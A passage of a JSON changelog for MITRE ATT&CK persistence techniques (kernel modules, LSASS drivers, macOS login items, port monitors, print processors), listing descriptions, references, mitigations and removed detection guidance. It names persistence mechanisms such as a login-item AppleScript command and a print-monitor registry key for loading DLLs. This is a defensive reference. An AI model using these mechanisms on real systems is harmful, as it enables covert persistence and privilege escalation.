+ "DET0207: Detect LSA Authentication Package Persistence via Registry and LSASS DLL Load" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 17:42:23.339000+00:00", + "modified": "2025-10-24 17:49:10.550000+00:00", + "name": "Kernel Modules and Extensions", + "description": "Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)\u00a0\n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide)\u00a0Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through kextload and kextunload commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)\n\nSince macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1547/006", + "external_id": "T1547.006" + }, + { + "source_name": "Apple Developer Configuration Profile", + "description": "Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021.", + "url": "https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf" + }, + { + "source_name": "Apple Kernel Extension Deprecation", + "description": "Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020.", + "url": "https://developer.apple.com/support/kernel-extensions/" + }, + { + "source_name": "System and kernel extensions in macOS", + "description": "Apple. (n.d.). System and kernel extensions in macOS. Retrieved March 31, 2022.", + "url": "https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web" + }, + { + "source_name": "GitHub Reptile", + "description": "Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.", + "url": "https://github.com/f0rb1dd3n/Reptile" + }, + { + "source_name": "Volatility Phalanx2", + "description": "Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.", + "url": "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html" + }, + { + "source_name": "iDefense Rootkit Overview", + "description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved September 12, 2024.", + "url": "https://www.megasecurity.org/papers/Rootkits.pdf" + }, + { + "source_name": "Linux Loadable Kernel Module Insert and Remove LKMs", + "description": "Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved November 17, 2024.", + "url": "https://tldp.org/HOWTO/Module-HOWTO/x197.html" + }, + { + "source_name": "CrowdStrike Linux Rootkit", + "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.", + "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/" + }, + { + "source_name": "GitHub Diamorphine", + "description": "Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.", + "url": "https://github.com/m0nad/Diamorphine" + }, + { + "source_name": "Securelist Ventir", + "description": "Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.", + "url": "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/" + }, + { + "source_name": "User Approved Kernel Extension Pike\u2019s", + "description": "Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading\u2026. Retrieved September 23, 2021.", + "url": "https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/" + }, + { + "source_name": "Linux Kernel Module Programming Guide", + "description": "Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved November 17, 2024.", + "url": "https://tldp.org/LDP/lkmpg/2.4/html/x437.html" + }, + { + "source_name": "Linux Kernel Programming", + "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.", + "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf" + }, + { + "source_name": "Trend Micro Skidmap", + "description": "Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/" + }, + { + "source_name": "Purves Kextpocalypse 2", + "description": "Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021.", + "url": "https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/" + }, + { + "source_name": "RSAC 2015 San Francisco Patrick Wardle", + "description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "source_name": "Synack Secure Kernel Extension Broken", + "description": "Wardle, P. (2017, September 8). High Sierra\u2019s \u2018Secure Kernel Extension Loading\u2019 is Broken. Retrieved November 17, 2024.", + "url": "https://objective-see.org/blog/blog_0x21.html" + }, + { + "source_name": "Wikipedia Loadable Kernel Module", + "description": "Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.", + "url": "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Wayne Silva, F-Secure Countercept", + "Anastasios Pingios", + "Jeremy Galloway", + "Red Canary", + "Eric Kaiser @ideologysec" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS", + "Linux" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Creation\", \"File: File Modification\", \"Kernel: Kernel Module Load\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:10.550000+00:00\", \"old_value\": \"2025-04-15 19:58:54.982000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko (\\\"kernel object\\\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\\n\\nAdversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly.\\u00a0These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)\\n\\nOn macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike\\u2019s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko (\\\"kernel object\\\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\\n-\\n-Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly.\\u00a0These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)\\n-\\n-On macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike\\u2019s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1038: Execution Prevention", + "M1049: Antivirus/Antimalware" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0008: Kernel (Kernel Module Load)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0450: Detection Strategy for Kernel Modules and Extensions Autostart Execution" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 18:38:55.801000+00:00", + "modified": "2025-10-24 17:49:35.318000+00:00", + "name": "LSASS Driver", + "description": "Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1547/008", + "external_id": "T1547.008" + }, + { + "source_name": "Microsoft LSA Protection Mar 2014", + "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.", + "url": "https://technet.microsoft.com/library/dn408187.aspx" + }, + { + "source_name": "Microsoft DLL Security", + "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx" + }, + { + "source_name": "Microsoft Security Subsystem", + "description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.", + "url": "https://technet.microsoft.com/library/cc961760.aspx" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Vincent Le Toux" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"File: File Creation\", \"Driver: Driver Load\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:35.318000+00:00\", \"old_value\": \"2025-04-16 20:37:22.686000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\\n\\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\\n-\\n-Utilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. \"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1025: Privileged Process Integrity", + "M1043: Credential Access Protection", + "M1044: Restrict Library Loading" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0011: Module (Module Load)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0027: Driver (Driver Load)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0225: Detect unauthorized LSASS driver persistence via LSA plugin abuse (Windows)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-05 21:26:15.081000+00:00", + "modified": "2025-10-24 17:49:03.355000+00:00", + "name": "Login Items", + "description": "Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.\n\nLogin items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \u201cSystem Events\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application \u201cSystem Events\u201d to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1547/015", + "external_id": "T1547.015" + }, + { + "source_name": "Adding Login Items", + "description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html" + }, + { + "source_name": "Launch Service Keys Developer Apple", + "description": "Apple. (2018, June 4). Launch Services Keys. Retrieved October 5, 2021.", + "url": "https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1" + }, + { + "source_name": "Launch Services Apple Developer", + "description": "Apple. (n.d.). Launch Services. Retrieved October 5, 2021.", + "url": "https://developer.apple.com/documentation/coreservices/launch_services" + }, + { + "source_name": "Login Items AE", + "description": "Apple. (n.d.). Login Items AE. Retrieved October 4, 2021.", + "url": "https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788" + }, + { + "source_name": "Open Login Items Apple", + "description": "Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021.", + "url": "https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac" + }, + { + "source_name": "hexed osx.dok analysis 2019", + "description": "fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20221007144948/http://www.hexed.in/2019/07/osxdok-analysis.html" + }, + { + "source_name": "ELC Running at startup", + "description": "hoakley. (2018, May 22). Running at startup: when to use a Login Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021.", + "url": "https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/" + }, + { + "source_name": "Startup Items Eclectic", + "description": "hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021.", + "url": "https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/" + }, + { + "source_name": "Add List Remove Login Items Apple Script", + "description": "kaloprominat. (2013, July 30). macos: manage add list remove login items apple script. Retrieved October 5, 2021.", + "url": "https://gist.github.com/kaloprominat/6111584" + }, + { + "source_name": "CheckPoint Dok", + "description": "Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021.", + "url": "https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/" + }, + { + "source_name": "objsee block blocking login items", + "description": "Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021.", + "url": "https://objective-see.com/blog/blog_0x31.html" + }, + { + "source_name": "objsee netwire backdoor 2019", + "description": "Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved October 1, 2021.", + "url": "https://objective-see.com/blog/blog_0x44.html" + }, + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + }, + { + "source_name": "sentinelone macos persist Jun 2019", + "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.", + "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/" + }, + { + "source_name": "SMLoginItemSetEnabled Schroeder 2013", + "description": "Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20160216034946/https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:03.355000+00:00\", \"old_value\": \"2025-04-15 19:58:47.788000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"All login items created via shared file lists are viewable by using the System Preferences GUI or in the ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications.\\n\\nOtherwise, login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple)\\n\\nMonitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-All login items created via shared file lists are viewable by using the System Preferences GUI or in the ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications.\\n-\\n-Otherwise, login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple)\\n-\\n-Monitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0121: Detection Strategy for T1547.015 \u2013 Login Items on macOS" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 19:46:27.750000+00:00", + "modified": "2025-10-24 17:48:42.872000+00:00", + "name": "Port Monitors", + "description": "Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded and run by the print spooler service, `spoolsv.exe`, under SYSTEM level permissions on boot.(Citation: Bloxham) \n\nAlternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to the `Driver` value of an existing or new arbitrarily named subkey of HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. The Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1547/010", + "external_id": "T1547.010" + }, + { + "source_name": "Bloxham", + "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014.", + "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf" + }, + { + "source_name": "AddMonitor", + "description": "Microsoft. (n.d.). AddMonitor function. Retrieved September 12, 2024.", + "url": "https://learn.microsoft.com/en-us/windows/win32/printdocs/addmonitor" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Stefan Kanthak", + "Travis Smith, Tripwire", + "Harun K\u00fc\u00dfner" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"File: File Creation\", \"Module: Module Load\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:42.872000+00:00\", \"old_value\": \"2025-04-15 19:58:26.452000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. \\n\\nMonitor Registry writes to HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Print\\\\Monitors, paying particular attention to changes in the \\\"Driver\\\" subkey. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism.(Citation: TechNet Autoruns)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. \\n-\\n-Monitor Registry writes to HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Print\\\\Monitors, paying particular attention to changes in the \\\"Driver\\\" subkey. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism.(Citation: TechNet Autoruns)\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0011: Module (Module Load)", + "DS0022: File (File Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0204: Detection Strategy for T1547.010 \u2013 Port Monitor DLL Persistence via spoolsv.exe (Windows)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-05 13:24:49.780000+00:00", + "modified": "2025-10-24 17:48:35.261000+00:00", + "name": "Print Processors", + "description": "Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)\n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has 